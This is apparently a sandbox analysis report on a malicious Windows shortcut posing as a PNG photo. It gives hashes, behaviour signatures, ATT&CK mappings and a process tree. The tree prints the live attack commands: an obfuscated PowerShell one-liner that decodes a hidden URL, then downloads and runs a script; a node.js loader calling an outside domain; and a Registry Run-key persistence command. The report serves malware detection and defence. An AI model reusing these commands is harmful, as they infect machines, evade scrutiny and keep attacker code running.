534aac519a9b9be2098bf2330f77e57db26b6dcde4d11035cc4091e0dda0883a

Analysis

max time kernel
298s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/07/2026, 02:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PHOTO-366969872.png.lnk
Size 2KB
Sample260720-cs88fae13w
SHA256 534aac519a9b9be2098bf2330f77e57db26b6dcde4d11035cc4091e0dda0883a
MD5 328bfad2c2df94450d58f518d7799e79
SHA1 7af781d499ccaf316c6b507332eaa1d17510b374
SHA512 4b072f8dd04165a8447038781efd8fc56c3b8df2ddb5e9c04f6b4eeb8e7edcf0e8df0f36b8cdbca05909231bcf7246b17d72020d9cb58c83c163a344bd4542ac
TLSH
T12441DF2027E10369F7F78B35D8FD6213E5227907EB228F9F11C4429955B1611E86AF3E
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://nodejs.org/dist/v26.4.0/node-v26.4.0-win-x64.zip

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2404	powershell.exe
6	3708	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3708	powershell.exe
1084	powershell.exe
1316	powershell.exe
2404	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 3 IoCs

pid	Process
4812	node.exe
4608	node.exe
3892	node.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2 = "\"C:\\Users\\Admin\\AppData\\Local\\Nodejs\\node-v26.4.0-win-x64\\node.exe\" -e \"require('child_process').spawn(process.execPath, ['C:\\\\Users\\\\Admin\\\\AppData\\\\Local\\\\Nodejs\\\\xe00EkGf3ChM.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\""	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1840	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2404	powershell.exe
2404	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
1084	powershell.exe
1084	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	3708	powershell.exe
Token: SeDebugPrivilege	3080	powershell.exe
Token: SeDebugPrivilege	1084	powershell.exe
Token: SeDebugPrivilege	1316	powershell.exe
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	3576	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1840 wrote to memory of 2404	1840	cmd.exe	87
PID 2404 wrote to memory of 3708	2404	powershell.exe	88
PID 3708 wrote to memory of 3888	3708	powershell.exe	89
PID 3888 wrote to memory of 2084	3888	csc.exe	90
PID 3708 wrote to memory of 4812	3708	powershell.exe	102
PID 4812 wrote to memory of 3080	4812	node.exe	104
PID 4812 wrote to memory of 1084	4812	node.exe	106
PID 4812 wrote to memory of 1316	4812	node.exe	108
PID 4608 wrote to memory of 3892	4608	node.exe	112
PID 3892 wrote to memory of 4540	3892	node.exe	113
PID 4812 wrote to memory of 4808	4812	node.exe	115
PID 4812 wrote to memory of 3576	4812	node.exe	117

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-366969872.png.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$AOGyL=[System.Numerics.BigInteger]\"254747336614718164242410228740884121307850552731600\";$drdSi=[System.Numerics.BigInteger]\"91935875567794305012259393984346061680268807764583\";$a1zKR=$AOGyL - $drdSi;for($GJz7Hzy=100+156;$a1zKR -ne 0;$a1zKR=$a1zKR / $GJz7Hzy){$n4DFor8=[int]($a1zKR % $GJz7Hzy);$uPtHfrgl+=[System.Convert]::ToChar($n4DFor8);}; Invoke-WebRequest $uPtHfrgl -OutFile $env:TEMP\q1cAMWP.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\q1cAMWP.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\q1cAMWP.ps1
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3708
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4cp1rtmb\4cp1rtmb.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3888
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6404.tmp" "c:\Users\Admin\AppData\Local\Temp\4cp1rtmb\CSCD35C24C4A75240E99F1FE640A755A524.TMP"
        5⤵
        
        PID:2084
  - - C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
      "C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" C:\Users\Admin\AppData\Local\Nodejs\xe00EkGf3ChM.js imagestore-vault.info
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      Suspicious use of WriteProcessMemory
      PID:4812
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3080
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "(Get-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\").\"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\""
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1084
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\xe00EkGf3ChM.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = \"\"\"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\"\" -e \"\"$code\"\"\"; Set-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\" -Value $command"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        
        PID:1316
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Cryptography\" -Name \"MachineGuid\").\"MachineGuid\""
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4808
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\SQMClient\" -Name \"MachineId\").\"MachineId\""
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3576

C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" -e "require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\xe00EkGf3ChM.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4608
- C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
  C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Nodejs\xe00EkGf3ChM.js
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3892
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4540

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 bda499e3f69d8fe0227e734bbb935dc5bf0050d37adf03bc41356dfcb5bcca0b
MD5 fe3aab3ae544a134b68e881b82b70169
SHA1 926e9b4e527ae1bd9b3b25726e1f59d5a34d36a6
SHA512 3fbd3499d98280b6c79c67b0ee183b27692dbc31acf103b4f8ca4dcdf392afff2b3aad500037f4288581ed37e85f45c3bbb5dcde11cddf3ef0609f44b2ecb280
TLSH
T17F71FE313275B0D4C8567F071E2819C453BF4386EAA4AF4CB25C621EDD2641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
MD5 eb95593cadef8a5dd4ae7059529d25c7
SHA1 464b6fc05fe1c21127a61db0a38e3e9c8c369d18
SHA512 28de4369543ef8f076d7a2169d08c9fca3d57ff2d4b207868227c206839b1e5c4438bf762fdd8a8ed4df6b45c458593c16be02adca044611b8b2c1f44a3afef8
SSDEEP 1536:gC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5bxX:gC+jH04tAHk1cMrxyNhftflJdvYoFi3F
TLSH
T128334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download